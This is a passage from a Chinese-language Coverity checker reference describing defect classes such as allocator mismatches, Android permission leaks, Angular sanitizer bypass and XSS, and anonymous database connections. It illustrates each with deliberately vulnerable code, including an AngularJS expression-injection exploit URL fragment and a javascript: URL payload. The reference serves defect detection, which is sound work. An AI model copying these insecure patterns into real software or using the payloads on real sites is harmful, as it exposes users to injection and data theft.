4.254. PMD.*	518
4.255. PRECEDENCE_ERROR	519
4.256. PREDICTABLE_RANDOM_SEED	520
4.257. PRINTF_ARGS	523
4.258. PROPERTY_MIXUP	524
4.259. PW.*	527
4.260. RACE_CONDITION (Java Runtime)	527
4.261. RAILS_DEFAULT_ROUTES	530
4.262. RAILS_DEVISE_CONFIG	530
4.263. RAILS_MISSING_FILTER_ACTION	531
4.264. REACT_DANGEROUS_INNERHTML	532
4.265. READLINK	532
4.266. RW.*	534
4.267. REGEX_CONFUSION	534
4.268. REGEX_INJECTION	535
4.269. REGEX_MISSING_ANCHOR	540
4.270. RESOURCE_LEAK	540
4.271. RESOURCE_LEAK (Java Runtime)	553
4.272. RETURN_LOCAL	554
4.273. REVERSE_NEGATIVE	555
4.274. REVERSE_INULL	556
4.275. REVERSE_TABNABBING	561
4.276. RISKY_CRYPTO	562
4.277. RUBY_VULNERABLE_LIBRARY	568
4.278. SCRIPT_CODE_INJECTION	569
4.279. SECURE_CODING	575
4.280. SECURE_TEMP	576
4.281. SELF_ASSIGN	578
4.282. SW.*	579

4.283. SENSITIVE_DATA_LEAK	579
4.284. SERVLET_ATOMICITY	588
4.285. SESSION_FIXATION	589
4.286. SESSION_MANIPULATION	591
4.287. SESSIONSTORAGE_MANIPULATION	591
4.288. SIGN_EXTENSION	594
4.289. SINGLETON_RACE	596
4.290. SIZECHECK	597
4.291. sizeof_MISMATCH	599
4.292. SLEEP	602
4.293. SOCKET_ACCEPT_ALL_ORIGINS	605
4.294. SQL_NOT_CONSTANT	606
4.295. SQLI	608
4.296. STACK_USE	618
4.297. STATIC_API_KEY	623
4.298. STRAY_SEMICOLON	623
4.299. STREAM_FORMAT_STATE	626
4.300. STRICT_TRANSPORT_SECURITY	628
4.301. STRING_NULL	629
4.302. STRING_OVERFLOW	632
4.303. STRING_SIZE	633
4.304. SUPPRESSED_ERROR	636
4.305. SWAPPED_ARGUMENTS	637
4.306. SYMBIAN.CLEANUP_STACK	639
4.307. SYMBIAN.NAMING	642
4.308. SYMFONY_EL_INJECTION	643
4.309. TAINT_ASSERT	646
4.310. TAINTED_ENVIRONMENT_WITH_EXECUTION	649
4.311. TAINTED_SCALAR	652
4.312. TAINTED_STRING	659
4.313. TEMPLATE_INJECTION	665
4.314. TEMPORARY_CREDENTIALS_DURATION	669
4.315. TEXT_CUSTOM_CHECKER	670
4.316. TOCTOU	672
4.317. TRUST_BOUNDARY_VIOLATION	674
4.318. UNCAUGHT_EXCEPT	675
4.319. UNCHECKED_ORIGIN	679
4.320. UNENCRYPTED_SENSITIVE_DATA	680
4.321. UNESCAPED_HTML	689
4.322. UNEXPECTED_CONTROL_FLOW	690
4.323. UNINIT	692
4.324. UNINITCTOR	696
4.325. UNINIT_NONNULL	699
4.326. UNINTENDED_GLOBAL	700
4.327. UNINTENDED_INTEGER_DIVISION	701
4.328. UNKNOWN_LANGUAGE_INJECTION	702
4.329. UNLESS_CASE_SENSITIVE_ROUTE_MATCHING	704
4.330. UNLIMITED_CONCURRENT_SESSIONS	704

4.331. UNLOGGED_SECURITY_EXCEPTION	705
4.332. UNREACHABLE	708
4.333. UNRESTRICTED_ACCESS_TO_FILE	714
4.334. UNRESTRICTED_DISPATCH	716
4.335. UNRESTRICTED_MESSAGE_TARGET	718
4.336. UNSAFE_BASIC_AUTH	719
4.337. UNSAFE_BUFFER_METHOD	720
4.338. UNSAFE_DESERIALIZATION	721
4.339. UNSAFE_FUNCTIONALITY	727
4.340. UNSAFE_JNI	727
4.341. UNSAFE_NAMED_QUERY	729
4.342. UNSAFE_REFLECTION	731
4.343. UNSAFE_SESSION_SETTING	734
4.344. UNSAFE_XML_PARSE_CONFIG	735
4.345. UNUSED_VALUE	740
4.346. URL_MANIPULATION	743
4.347. USE_AFTER_FREE	750
4.348. USELESS_CALL	755
4.349. USER_POINTER	760
4.350. VARARGS	761
4.351. VCALL_INCTOR_DTOR	762
4.352. VERBOSE_ERROR_REPORTING	764
4.353. VIRTUAL_DTOR	765
4.354. VOID_FUNCTION_WITHOUT_SIDE_EFFECT	767
4.355. VOLATILE_ATOMICITY	768
4.356. VUE_TEMPLATE_UNSAFE_VHTML_DIRECTIVE	771
4.357. WEAK_BIOMETRIC_AUTH	771
4.358. WEAK_GUARD	772
4.359. WEAK_PASSWORD_HASH	776
4.360. WEAK_URL_SANITIZATION	782
4.361. WEAK_XML_SCHEMA	784
4.362. WRAPPER_ESCAPE	785
4.363. WRITE_CONST_FIELD	788
4.364. WRONG_METHOD	788
4.365. XML_EXTERNAL_ENTITY	790
4.366. XML_INJECTION	796
4.367. XPATH_INJECTION	798
4.368. XSS	806
4.369. Y2K38_SAFETY	812

4.1. ALLOC_FREE_MISMATCH

质量检查器

4.1.1. 概述

支持的语言： C、C++、Objective-C、Objective-C++

`ALLOC_FREE_MISMATCH` 可报告通过专用分配函数分配资源，并且存在关联的专用释放函数，但调用了其他释放函数的很多情况。当资源分配有多种不兼容的方式时，C 和 C++ 类型系统无法强制执行正确的 API 使用方式。错误的 API 使用方式可能导致内存泄漏或内存损坏。

默认启用：`ALLOC_FREE_MISMATCH` 默认启用。有关启用/禁用详情和选项，请参阅Section 1.2，“启用和禁用检查器”。

4.1.2. 示例

本部分提供了一个或多个 `ALLOC_FREE_MISMATCH` 示例。

```
void mixedNewAndFree() {
    int *x = new int;
    free(x); // should use 'delete x'
}

// MS Windows API
HINTERNET hConn = InternetOpenUrl(hSession, url, headers, \
    length, flags, context);
CloseHandle(hConn); // should use 'InternetCloseHandle(hConn)'
```

4.1.3. 模型

自定义分配器可使用 `__coverity_mark_as_afm_allocated__` 和 `__coverity_mark_as_afm_freed__` 原语（二者为 `ALLOC_FREE_MISMATCH` 专用）进行建模。每个原语参数都为句柄/指针参数和用于指明配对的通用字符串（通常是释放器的名称）；例如：

```
// myalloc() and myfree() are paired
void* myalloc() {
    void *p;
    __coverity_mark_as_afm_allocated__(p, "myfree");
    return p;
}
void myfree(void *p) {
    __coverity_mark_as_afm_freed__(p, "myfree");
}
void test1() {
    void *p = myalloc();
    myfree(p); // no bug
    p = myalloc();
    free(p); // bug
}

// arena_alloc() returns memory that should not be freed
void* arena_alloc(arena_t *a, size_t n) {
    void *p;
    __coverity_mark_as_afm_allocated__(p, "bogus string");
    return p;
}
```

4.1.4. 事件

本部分描述了 ALLOC_FREE_MISMATCH 检查器生成的一个或多个事件。

- alloc - 分配器返回资源。
- free - 使用不正确的释放器释放资源。

4.2. ANDROID_CAPABILITY_LEAK

Android 安全检查器

4.2.1. 概述

支持的语言 : . Java、Kotlin

ANDROID_CAPABILITY_LEAK 检查器会在以下情况下报告缺陷：Android 应用程序代码泄露某种 Android 功能，但不检查发起调用的应用程序是否具有使用该功能的权限。应用程序针对的 Android API 级别确定所需的权限。有关更多信息，请参阅 Section 4.2.4，“选项”。这可能允许恶意程序访问非正常功能（如网络或蓝牙连接）或执行特权升级攻击。

- 默认禁用：ANDROID_CAPABILITY_LEAK 默认对 Java 禁用。要启用它，您可以在 cov-analyze 命令中使用 --enable 选项。
Android 检查器启用：要启用 ANDROID_CAPABILITY_LEAK 以及其他 Java Android 检查器（非安全），请使用 cov-analyze 命令和 --android-security 选项。
- 默认启用：ANDROID_CAPABILITY_LEAK 默认对 Kotlin 启用。

4.2.2. 缺陷剖析

在泄露的应用程序组件方法中，将报告 ANDROID_CAPABILITY_LEAK 缺陷。这些事件将指出泄露的功能并显示利用该功能的调用。另一个事件将指出该方法未检查其调用方是否拥有的必要权限。

4.2.3. 示例

本部分提供了一个或多个 ANDROID_CAPABILITY_LEAK 示例。

4.2.3.1. Java

在下面的示例中，onCreate() 方法是公开的应用程序组件方法。它将调用 UserManager.getUserAccount()，这既需要 android.permission.INTERACT_ACROSS_USERS_FULL 权限，又需要 android.permission.MANAGE_USERS 权限。该代码将检查 android.permission.MANAGE_USERS 权限，但未检查 android.permission.INTERACT_ACROSS_USERS_FULL。调用方可以访问该功能但不持有访问它的权限。

```
public void onCreate(Bundle savedInstanceState)
```

```
super.onCreate(savedInstanceState);
enforceCallingOrSelfPermission(android.Manifest.permission.MANAGE_USERS,
    "Requires MANAGE_USERS");
UserManager user = (UserManager) getSystemService(USER_SERVICE);
String account = user.getUserAccount(1);
}
```

4.2.3.2. Kotlin

在下面的示例中，`onCreate()` 方法是公开的应用程序组件方法。它将调用 `UserManager.getUserAccount()`，这既需要 `android.permission.INTERACT_ACROSS_USERS_FULL` 权限，又需要 `android.permission.MANAGE_USERS` 权限。该代码将检查 `android.permission.MANAGE_USERS` 权限，但未检查 `android.permission.INTERACT_ACROSS_USERS_FULL`。调用方可以访问该功能但不持有访问它的权限。

```
fun onCreate(savedInstanceState: Bundle?) {
    super.onCreate(savedInstanceState)
    enforceCallingOrSelfPermission(android.Manifest.permission.MANAGE_USERS, "Requires
MANAGE_USERS")
    val user = getSystemService(USER_SERVICE) as UserManager
    val account = user.getUserAccount(1)
}
```

4.2.4. 选项

本部分描述了一个或多个 `ANDROID_CAPABILITY_LEAK` 选项。您可以设置特定检查器选项值，方法是使用 `cov-analyze` 命令的 `--checker-option` 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- `ANDROID_CAPABILITY_LEAK:default_targetSdk:<integer>` - 此选项设置应用程序针对的 Android API 级别。如果将 `detect_targetSdk` 设置为 `false` 或自动检测失败，将使用此默认值。默认值为 `ANDROID_CAPABILITY_LEAK:default_targetSdk:28`。
- `ANDROID_CAPABILITY_LEAK:detect_targetSdk:<boolean>` - 此选项设置分析是否将自动检测应用程序针对的 Android API 级别。默认值为 `ANDROID_CAPABILITY_LEAK:detect_targetSdk:true`。

4.3. ANDROID_DEBUG_MODE

Android 安全检查器

4.3.1. 概述

支持的语言：. Android 配置文件

在通过将 `android:debuggable` 属性设置为 `true` 启用应用程序的调试模式时，`ANDROID_DEBUG_MODE` 报告 `AndroidManifest.xml` 文件中的缺陷。启用调试模式可能允许攻击者调试应用程序的内部状态以及获取敏感数据和服务的访问权限。

默认禁用 : ANDROID_DEBUG_MODE 默认禁用。要启用它 , 您可以在 cov-analyze 命令中使用 --enable 选项。

对于 Kotlin , 默认启用 ANDROID_DEBUG_MODE 。

Android 安全检查器启用 : 要同时启用 ANDROID_DEBUG_MODE 以及其他 Java Android 安全检查器 , 请在 cov-analyze 命令中使用 --android-security 选项。

4.3.2. 缺陷剖析

ANDROID_DEBUG_MODE 缺陷表示启用了调试模式的 Android 应用程序。

4.3.3. 示例

本部分提供了一个或多个 ANDROID_DEBUG_MODE 示例。

在下面的示例中 , 当 debuggable 设置为 true 时报告缺陷。

```
<application android:debuggable="true">
    <activity
        android:name=".TestActivity" >
        <intent-filter>
            <action android:name="android.intent.action.MAIN" />
            <category android:name="android.intent.category.LAUNCHER" />
        </intent-filter>
    </activity>
</application>
```

该应用程序的调试模式通过将应用程序的 android:debuggable 属性设置为 true 启用。

4.4. ANDROID_WEBVIEW_FILEACCESS

4.4.1. 概述

支持的语言 : . Java

ANDROID_WEBVIEW_FILEACCESS 检查器查找以下情况 : Android 应用程序允许通过 file:/// 协议加载的文件的 JavaScript 代码加载其他本地文件 , 而不维护 WebView 的沙盒。如果将恶意文件加载到 WebView 中 , 则它可能会从另一个包含敏感信息 (例如配置数据、身份验证令牌等) 的应用程序中加载本地文件 , 因为同源策略不适用于此类文件加载。因此 , 如果恶意应用程序可以加载恶意本地文件 , 或者受害者应用程序具有允许加载共享存储中存储的恶意文件的漏洞 , 则攻击者可以从设备中窃取敏感数据。

此检查器是审计模式检查器 , 它标记允许通过上述文件访问绕过同源策略的不安全设置。不过 , 应审计每个此类配置 , 以确定该应用程序是否确实易受攻击。

默认禁用 ANDROID_WEBVIEW_FILEACCESS 检查器 ; 可以使用 cov-analyze 命令的 --android-security 标志启用它。

4.4.2. 示例

本部分提供了一个或多个 ANDROID_WEBVIEW_FILEACCESS 示例。

在下面的示例中，针对 `webSettings.setAllowUniversalAccessFromFileURLs(true)` 调用显示了一个 ANDROID_WEBVIEW_FILEACCESS 缺陷，因为它可让在 WebView 中加载的文件方案 URL 上下文中运行的 JavaScript 访问来自任何来源的内容。

```
import android.app.Activity;
import android.os.Bundle;
import android.webkit.WebSettings;
import android.webkit.WebView;

public class AndroidWebviewFileAccess extends Activity {

    @Override
    protected void onCreate(Bundle myState) {
        super.onCreate(myState);

        WebView webBrowser = null;
        webBrowser = new WebView(this);

        WebSettings webSettings = webBrowser.getSettings();
        webSettings.setAllowUniversalAccessFromFileURLs(true); //defect
    }

}
```

4.5. ANGULAR_BYPASS_SECURITY

安全检查器

4.5.1. 概述

支持的语言：. JavaScript、TypeScript

ANGULAR_BYPASS_SECURITY 报告从 Angular DomSanitizer API 中对 `bypassSecurityTrust*` 函数的调用。这些函数会绕过 Angular 的自动转义或净化。应该审计对这些调用的使用，以确保输入到这些调用中的数据是安全的或已针对使用环境正确转义。

默认禁用：ANGULAR_BYPASS_SECURITY 默认禁用。要启用它，您可以在 cov-analyze 命令中使用 `--enable` 选项。

要启用 ANGULAR_BYPASS_SECURITY 与其他审计模式检查器，请使用 `--enable-audit-mode` 选项。

4.5.2. 缺陷剖析

ANGULAR_BYPASS_SECURITY 缺陷将标记对 `bypassSecurityTrust...` 函数之一的调用。

4.5.3. 示例

本部分提供了一个或多个 ANGULAR_BYPASS_SECURITY 示例。

4.5.3.1. TypeScript

假设 trustedUrl 会附加到页面链接的 href 元素。以下代码展示了 bypassSecurityTrustUrl 如何允许任意 JavaScript 嵌入到链接中。该缺陷在对 sanitizer.bypassSecurityTrustUrl(this.dangerousUrl) 的调用中会被标记出来。

```
export class ExampleComponent {  
    dangerousUrl: string;  
    trustedUrl: SafeUrl;  
  
    constructor(private sanitizer: DomSanitizer) {  
        this.dangerousUrl = 'javascript:alert("Hi there")';  
        this.trustedUrl = sanitizer.bypassSecurityTrustUrl(this.dangerousUrl);  
    }  
}
```

4.6. ANGULAR_ELEMENT_REFERENCE

安全检查器

4.6.1. 概述

支持的语言 : . JavaScript、TypeScript

ANGULAR_ELEMENT_REFERENCE 在以下情况下会报告对 ElementRef API 的使用：以敏感方式访问和使用底层 DOM 元素。直接访问 DOM 元素可能使应用程序更易出现 XSS 缺陷。确保对 ElementRef 的使用是必要的，然后审计对该函数的使用，以验证不受信任的数据在被写入到 DOM 中之前是否已净化或筛选。

默认禁用：ANGULAR_ELEMENT_REFERENCE 默认禁用。要启用它，您可以在 cov-analyze 命令中使用 --enable 选项。

要启用 ANGULAR_ELEMENT_REFERENCE 与其他审计模式检查器，请使用 --enable-audit-mode 选项。

4.6.2. 缺陷剖析

对调用 ElementRef.nativeElement 的以下情况报告 ANGULAR_ELEMENT_REFERENCE 缺陷：写入该元素的 innerHTML 属性，或在该元素中调用 querySelector。

4.6.3. 示例

本部分提供了一个或多个 ANGULAR_ELEMENT_REFERENCE 示例。

4.6.3.1. TypeScript

使用 `ElementRef.nativeElement` 可以直接访问 `innerHTML`，绕过 Angular 的内置转义和净化。在下面的示例中，请求参数被直接写入 DOM，导致出现 XSS 漏洞。在下面的代码中，对最后一个语句报告该缺陷。

```
export class InnerHtmlBindingComponent {
  constructor(private route: ActivatedRoute, private el: ElementRef) {}

  public readSnippet () {
    this.route.queryParams.subscribe(params => {
      let snippet = params['snippet'];
      this.el.nativeElement.innerHTML = snippet;
    });
  }
}
```

4.7. ANGULAR_EXPRESSION_INJECTION

安全检查器

4.7.1. 概述

支持的语言：. JavaScript、TypeScript

ANGULAR_EXPRESSION_INJECTION 可报告使用不可信任的值作为 AngularJS 表达式一部分的代码中的缺陷。此类代码可能会允许攻击者通过操纵 AngularJS 表达式影响应用程序的行为。

默认禁用：ANGULAR_EXPRESSION_INJECTION 默认禁用。要启用它，您可以在 cov-analyze 命令中使用 `--enable` 选项。

Web 应用程序安全检查器启用：要启用 ANGULAR_EXPRESSION_INJECTION 以及其他 Web 应用程序检查器，请使用 `--webapp-security` 选项。

这是被污染的数据检查器。有关更多信息，请参阅“Section 6.8, “被污染的数据概述””。

4.7.2. 缺陷剖析

ANGULAR_EXPRESSION_INJECTION 缺陷说明了不可信（被污染）数据流入被用作 AngularJS 表达式的值的数据流路径。该路径从不可信数据源开始，例如读取攻击者可能控制的 URL 属性（例如 `window.location.hash`）或者读取来自其他框架的数据。在此处开始，缺陷中的各种事件说明了此被污染数据如何在程序中流动，例如从函数调用的参数到被调用函数的参数。该路径的最终部分表示流入被用作 AngularJS 表达式的值的数据。

4.7.3. 示例

本部分提供了一个或多个 ANGULAR_EXPRESSION_INJECTION 示例。

```

<body ng-app="myAppModule" ng-controller="myController">

<script>
angular.module('myAppModule', [])
.controller('myController',
 ['$scope', '$location',
 function($scope, $location) {

    $scope.dangerous = function(value) {
        // This represents a dangerous method, belonging to the
        // scope. We do not want attackers to make
        // arbitrary calls to this method.
        console.log('called dangerous method with value: ' + value);
        alert('called dangerous method with value: ' + value)
    }

    // This is provided by the attacker through the location URL
    var untrustedExpression = $location.search().untrustedValue;

    // Passing the value "dangerous('payload')" allows calling
    // the dangerous method
    $scope.$eval(untrustedExpression);

}
]);
</script>

</body>

```

利用示例：要让 AngularJS 表达式调用危险的 `Scope` 方法，请将以下代码段追加至页面 URL。

```
#/?untrustedValue=dangerous('payload')
```

4.7.4. 选项

本部分描述了一个或多个 `ANGULAR_EXPRESSION_INJECTION` 选项。

您可以设置特定检查器选项值，方法是使用 `cov-analyze` 命令的 `--checker-option` 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- `ANGULAR_EXPRESSION_INJECTION:distrust_all:<boolean>` - 将此选项设置为 `true` 等同于将此检查器的所有 `trust_*` 检查器选项设置为 `false`。默认值为 `ANGULAR_EXPRESSION_INJECTION:distrust_all:false`。

如果将 `cov-analyze` 命令的 `--webapp-security-aggressiveness-level` 选项设置为 `high`，则该检查器选项会自动设置为 `true`。

- `ANGULAR_EXPRESSION_INJECTION:trust_js_client_cookie:<boolean>` - 如果将此选项设置为 `false`，则分析不会信任来自客户端 JavaScript 代码中的 cookie 的数据，例如来自 `document.cookie`。此选项之前称为 `trust_client_cookie`。默认值为 `ANGULAR_EXPRESSION_INJECTION:trust_js_client_cookie:true`。

- ANGULAR_EXPRESSION_INJECTION:trust_js_client_external:<boolean> - 如果将此选项设置为 false，则分析不会信任来自 XMLHttpRequest 的响应的数据或客户端 JavaScript 代码中的类似数据。请注意：此选项之前称为 trust_external。默认值为 ANGULAR_EXPRESSION_INJECTION:trust_js_client_external:false。
- ANGULAR_EXPRESSION_INJECTION:trust_js_client_html_element:<boolean> - 如果将此选项设置为 false，则分析不会信任来自 HTML 元素中用户输入的数据，例如客户端 JavaScript 代码中的 textarea 和 input 元素。默认值为 ANGULAR_EXPRESSION_INJECTION:trust_js_client_html_element:true。
- ANGULAR_EXPRESSION_INJECTION:trust_js_client_http_header:<boolean> - 如果将此选项设置为 false，则分析不会信任来自 XMLHttpRequest 的响应的 HTTP 响应头文件的数据或客户端 JavaScript 代码中的类似数据。默认值为 ANGULAR_EXPRESSION_INJECTION:trust_js_client_http_header:true。
- ANGULAR_EXPRESSION_INJECTION:trust_js_client_http_referer:<boolean> - 如果将此选项设置为 false，则分析不会信任来自客户端 JavaScript 代码中 referer HTTP header (来自 document.referrer) 的数据。默认值为 ANGULAR_EXPRESSION_INJECTION:trust_js_client_http_referer:false。
- ANGULAR_EXPRESSION_INJECTION:trust_js_client_other_origin:<boolean> - 如果将此选项设置为 false，则分析不会信任来自客户端 JavaScript 代码中其他框架或其他源中内容的数据，例如来自 window.name。默认值为 ANGULAR_EXPRESSION_INJECTION:trust_js_client_other_origin:false。
- ANGULAR_EXPRESSION_INJECTION:trust_js_client_url_query_or_fragment:<boolean> - 如果将此选项设置为 false，则分析不会信任来自客户端 JavaScript 代码中查询或 URL 的片段部分的数据，例如来自 location.hash 或 location.query。默认值为 ANGULAR_EXPRESSION_INJECTION:trust_js_client_url_query_or_fragment:false。
- ANGULAR_EXPRESSION_INJECTION:trust_mobile_other_app:<boolean> - 将此选项设置为 true 会导致分析信任以下数据：从不需要获取权限即可与当前应用程序组件通信的任何移动应用程序收到的数据。默认值为 ANGULAR_EXPRESSION_INJECTION:trust_mobile_other_app:false。设置此检查器选项会覆盖全局 --trust-mobile-other-app 和 --distrust-mobile-other-app 命令行选项。
- ANGULAR_EXPRESSION_INJECTION:trust_mobile_other_privileged_app:<boolean> - 将此选项设置为 false 会导致分析将以下数据视为被污染数据：从需要获取权限才可与当前应用程序组件通信的任何移动应用程序收到的数据。默认值为 ANGULAR_EXPRESSION_INJECTION:trust_mobile_other_privileged_app:true。设置此检查器选项会覆盖全局 --trust-mobile-other-privileged-app 和 --distrust-mobile-other-privileged-app 命令行选项。
- ANGULAR_EXPRESSION_INJECTION:trust_mobile_same_app:<boolean> - 将此选项设置为 false 会导致分析将从同一移动应用程序收到的数据视为被污染数据。默认值为 ANGULAR_EXPRESSION_INJECTION:trust_mobile_same_app:true。设置此检查器选项会覆盖全局 --trust-mobile-same-app 和 --distrust-mobile-same-app 命令行选项。
- ANGULAR_EXPRESSION_INJECTION:trust_mobile_user_input:<boolean> - 将此选项设置为 true 会导致分析将从用户输入获取的数据视为未被污染的数据。默认值为

ANGULAR_EXPRESSION_INJECTION:trust_mobile_user_input:false。设置此检查器选项会覆盖全局 --trust-mobile-user-input 和 --distrust-mobile-user-input 命令行选项。

4.8. ANGULAR_SCE_DISABLED

4.8.1. 概述

支持的语言：. JavaScript、TypeScript

ANGULAR_SCE_DISABLED 检查器查找明确禁用严格上下文转义 (SCE) 的情况。SCE 是一种模式，其中 AngularJS 需要数据绑定来产生在特定上下文中使用的安全值。默认情况下，在 AngularJS 版本 1.2 及更高版本中启用 SCE，但可以手动禁用。

ANGULAR_SCE_DISABLED 检查器默认禁用。您可以使用 cov-analyze 命令的 webapp-security 选项启用它。

4.8.2. 示例

本部分提供了一个或多个 ANGULAR_SCE_DISABLED 示例。

在下面的示例中，如果通过设置 \$sceProvider.enabled(false) 禁用了 \$sce，则显示 ANGULAR_SCE_DISABLED 缺陷。

```
(function(angular) {
angular.module('sce', ['ngSanitize'])
.config(function($sceProvider) { //#defect#ANGULAR_SCE_DISABLED
    $sceProvider.enabled(false);
})
.controller('AppController', [
    function() {
        var self = this;
        self.variable = '<span onmouseover="this.textContent="As $sceProvider is set to false you can see this ' + '".">Hover over this text.</span>';
    }]);
})(window.angular);
```

4.9. ANONYMOUS_DB_CONNECTION

安全检查器

4.9.1. 概述

支持的语言：. Go、Python

`ANONYMOUS_DB_CONNECTION` 检查器标记启动对远程托管数据库的匿名访问的连接字符串。风险是，如果攻击者可以访问托管数据库的网络，则攻击者只需知道主机和端口号即可连接到该数据库，而通过映射网络很容易获得该信息。

一种补救方法是在数据库连接字符串中添加用户名和密码，以防止攻击者仅知道主机和端口号即可连接到数据库。

4.9.1.1. Go

`ANONYMOUS_DB_CONNECTION` 检查器查找以下函数的 `dataSourceName` 参数是连接到远程主机的匿名连接字符串（没有用户名和密码）的情况。

- `sql.Open(driverName, dataSourceName)`
- `sqlx.Open(driverName, dataSourceName)`
- `gorm.Open(driverName, dataSourceName)`

`ANONYMOUS_DB_CONNECTION` 检查器还查找函数 `mongo.NewClient(opts)` 或 `mongo.Connect(ctx, opts)` 的 `opts` 参数在以下任何列出的函数中被更新的情况，其中参数 `uri` 或 `host` 包含一个远程主机，`auth` 包含不完整或没有验证的信息。

- `ClientOptions.ApplyURI(uri)`
- `ClientOptions.SetHosts(host)`
- `ClientOptions.SetAuth(auth)`

默认启用 (Go)： `ANONYMOUS_DB_CONNECTION` 检查器默认对 Go 启用。

4.9.1.2. Python

`ANONYMOUS_DB_CONNECTION` 检查器查找以下模块中的匿名连接字符串（没有用户名和密码）：

- `couchdb.client.Server()`
- `pymongo.MongoClient()`
- `flask_pymongo.PyMongo()`

在 Django 中，该检查器还查找不包含 `USER` 或 `PASSWORD` 属性的 `DATABASES` 设置。

默认禁用 (Python)： `ANONYMOUS_DB_CONNECTION` 检查器默认对 Python 禁用。它通过 `--webapp-security` 选项启用。

4.9.2. 示例

本部分提供了一个或多个 `ANONYMOUS_DB_CONNECTION` 示例。

4.9.2.1. Go

在下面的示例中，显示了 ANONYMOUS_DB_CONNECTION 缺陷，其中函数 `mongo.NewClient(opts)` 的 `opts` 参数由函数 `ClientOptions.ApplyURI(uri)` 更新，这里的 `uri` 参数是一个匿名连接字符串，它连接到远程主机并忽略 `authMechanism` 选项。

```
```
package main

import (
 "context"
 "log"
 "go.mongodb.org/mongo-driver/mongo"
 "go.mongodb.org/mongo-driver/mongo/options"
)

func init() {
 db, err := mongo.NewClient(options.Client().ApplyURI("mongodb://192.168.0.103:27017")) //
 defect here
 if err != nil {
 log.Fatal(err)
 }

 if err = db.Connect(context.Background()); err != nil {
 log.Fatal(err)
 }
 log.Println("Connected!")
}
```

```

4.9.2.2. Python

在下面的示例中，当在 `couchdb.client.Server()` 中设置匿名连接字符串时，将显示 ANONYMOUS_DB_CONNECTION 缺陷。

```
import couchdb
server = couchdb.client.Server("http://13.58.9.233:5984")
```

4.10. ARRAY_VS_SINGLETON

质量检查器

4.10.1. 概述

支持的语言：. C、C++、Objective-C、Objective-C++

ARRAY_VS_SINGLETON 报告指向单一对象的指针被错误地当作数组（这会导致程序访问无效内存）的一些情况。这会导致从内存中读取垃圾/任意值，或者写入至任意的内存中并破坏该内存。ARRAY_VS_SINGLETON 还会报告基类对象的数组被视为继承类对象的数组的情况。

由于 C/C++ 中的类型体系不区分“指向一个对象的指针”和“指向对象数组的指针”，因此很容易意外地将指针算术运算应用到仅指向单一对象的指针。 ARRAY_VS_SINGLETON 检查器可查找关于此类错误的很多情况。

默认启用： ARRAY_VS_SINGLETON 默认启用。有关启用/禁用详情和选项，请参阅Section 1.2, “启用和禁用检查器”。

4.10.2. 示例

本部分提供了一个或多个 ARRAY_VS_SINGLETON 示例。

下面的示例包含缺陷，因为对基类指针执行的算术运算假设对象是基类的大小，但原始数组具有是继承类大小的对象：

```
class Base {
public:
    int x;
};

class Derived : public Base {
public:
    int y;
};

void f(Base *b)
{
    b[1].x = 4;
}

Derived arr[3];

f(arr); // Defect
```

下面的示例包含使用 result 数组的缺陷指针算术运算：

```
void foo(char **result)
{
    *result = (char*)malloc(80);

    if (...) {
        strcpy(*result, "some result string");
    }
    else {
        ...
        result[79] = 0; // Should be "(*result)[79] = 0"
    }
}

void bar()
{
    char *s;
```

```
    foo(&s);           // Defect reported here  
}
```

4.10.3. 选项

本部分描述了一个或多个 `ARRAY_VS_SINGLETON` 选项。

您可以设置特定检查器选项值，方法是使用 `cov-analyze` 命令的 `--checker-option` 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- `ARRAY_VS_SINGLETON:stat_cutoff:<integer>` - 此选项可设置统计分析用于筛选缺陷的值。如果单一对象指针被传递给函数，但代码库中有多个调用位置的地址被传递给同一函数（位于相同的参数位置），则不会报告任何缺陷。增加此值会导致报告更多缺陷，其中更多通常都是误报。默认值为 `ARRAY_VS_SINGLETON:stat_cutoff:10`

4.10.4. 事件

本部分描述了 `ARRAY_VS_SINGLETON` 检查器生成的一个或多个事件。

- `derived_to_base` - 继承类到基类指针转换创建了单一对象。
- `new_object` - 新的单一对象形式创建了单一对象。
- `address_of` - 获取某项的地址创建了单一对象。
- `assign` - 将单一对象指针赋值给变量。
- `callee_ptr_arith` - 将单一对象指针传递给了对其执行指针算术运算的函数。此事件包括指向模型的链接。

4.11. ASPNET_MVC_VERSION_HEADER

安全检查器

4.11.1. 概述

支持的语言：. C#、Visual Basic

`ASPNET_MVC_VERSION_HEADER` 会在方法 `System.Web.HttpApplication.Application_Start` 的 `overrider` 没有将 `MvcHandler.DisableMvcResponseHeader` 设置为 `true` 或没有调用执行此操作的方法时报告缺陷。ASP.NET Web 应用程序中的 `X-AspNetMvc-Version` 头文件会泄露关于目标系统中运行的 ASP.NET MVC 的具体版本的信息，而这会导致容易遭到攻击。该缺陷可通过在方法 `Application_Start` 中将 `MvcHandler.DisableMvcResponseHeader` 设置为 `true` 来修复。

默认禁用：`ASPNET_MVC_VERSION_HEADER` 默认禁用。要启用它，您可以在 `cov-analyze` 命令中使用 `--enable` 选项。

Web 应用程序安全检查器启用：要启用 ASPNET_MVC_VERSION_HEADER 以及其他 Web 应用程序检查器，请使用 --webapp-security 选项。

4.11.2. 缺陷剖析

ASPNET_MVC_VERSION_HEADER 缺陷包含可识别源代码中不安全的安全设置的单个事件。

4.11.3. 示例

本部分提供了一个或多个 ASPNET_MVC_VERSION_HEADER 示例。

4.11.3.1. C#

以下代码示例展示了发现缺陷的不同情况：Test1 和 Test2 不会产生缺陷；Test3 会产生缺陷。Test4 不会产生缺陷，因为 Application_Start 函数可以在其被调用方中设置 MvcHandler.DisableMvcResponseHeader。

```
public class Test1 : System.Web.HttpApplication
{
    protected void Application_Start()
    {
        MvcHandler.DisableMvcResponseHeader = false;
    }
}

public class Test2 : System.Web.HttpApplication
{
    protected void Application_Start()
    {
        MvcHandler.DisableMvcResponseHeader = true;
    }
}

public class Test3 : System.Web.HttpApplication
{
    protected void Application_Start() // Defect here.
    {
    }
}

public class Test4 : System.Web.HttpApplication
{
    void start()
    {
        MvcHandler.DisableMvcResponseHeader = true;
    }

    protected void Application_Start()
    {
        start();
    }
}
```

}

4.11.3.2. Visual Basic

以下代码展示了安全和不安全的 ASP.NET Web 应用程序。该检查器会对后一段代码报告缺陷。

```
Imports System
Imports System.Web
Imports System.Web.Mvc

Class SafeApp
    Inherits System.Web.HttpApplication

    Private Sub StartApplication(sender As Object, e As EventArgs)
        MvcHandler.DisableMvcResponseHeader = true
    End Sub
End Class

Class UnsafeApp
    Inherits System.Web.HttpApplication

